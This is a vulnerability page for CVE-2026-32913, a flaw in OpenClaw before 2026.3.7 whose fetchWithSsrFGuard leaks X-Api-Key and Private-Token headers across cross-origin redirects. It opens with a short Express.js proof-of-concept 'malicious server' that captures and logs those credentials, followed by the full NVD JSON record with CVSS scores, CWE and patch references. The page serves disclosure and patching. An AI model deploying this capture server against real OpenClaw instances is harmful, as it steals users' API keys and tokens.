CVE-2026-32913

// PoC Concept: Sensitive Header Leakage via Cross-Origin Redirect // This script simulates a malicious server capturing headers const express = require('express'); const app = express(); // Endpoint acting as the malicious redirect target app.get('/capture', (req, res) => { // Check if sensitive headers are present in the request const apiKey = req.headers['x-api-key']; const privateToken = req.headers['private-token']; if (apiKey || privateToken) { console.log('[+] Successfully intercepted headers:'); console.log(` X-Api-Key: ${apiKey}`); console.log(` Private-Token: ${privateToken}`); res.send('Headers intercepted successfully.'); } else { console.log('[-] No sensitive headers found in request.'); res.status(400).send('No headers found.'); } }); // Start the listener app.listen(8080, () => { console.log('Malicious server listening on port 8080...'); console.log('Waiting for vulnerable OpenClaw instance to redirect here.'); });

{"cve": {"id": "CVE-2026-32913", "sourceIdentifier": "[email protected]", "published": "2026-03-23T22:16:30.433", "lastModified": "2026-03-24T18:01:44.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.7 contains an improper header validation vulnerability in fetchWithSsrFGuard that forwards custom authorization headers across cross-origin redirects. Attackers can trigger redirects to different origins to intercept sensitive headers like X-Api-Key and Private-Token intended for the original destination."}, {"lang": "es", "value": "OpenClaw anterior a 2026.3.7 contiene una vulnerabilidad de validación de encabezado indebida en fetchWithSsrFGuard que reenvía encabezados de autorización personalizados a través de redirecciones de origen cruzado. Los atacantes pueden desencadenar redirecciones a diferentes orígenes para interceptar encabezados sensibles como X-Api-Key y Private-Token destinados al destino original."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.7", "matchCriteriaId": "D2F1658C-E266-4928-9415-F72DB89219EE"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/46715371b0612a6f9114dffd1466941ac476cef5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-6mgf-v5j7-45cr", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://vulncheck.com/advisories/openclaw-mar-custom-authorization-header-leakage-via-cross-origin-redirects", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}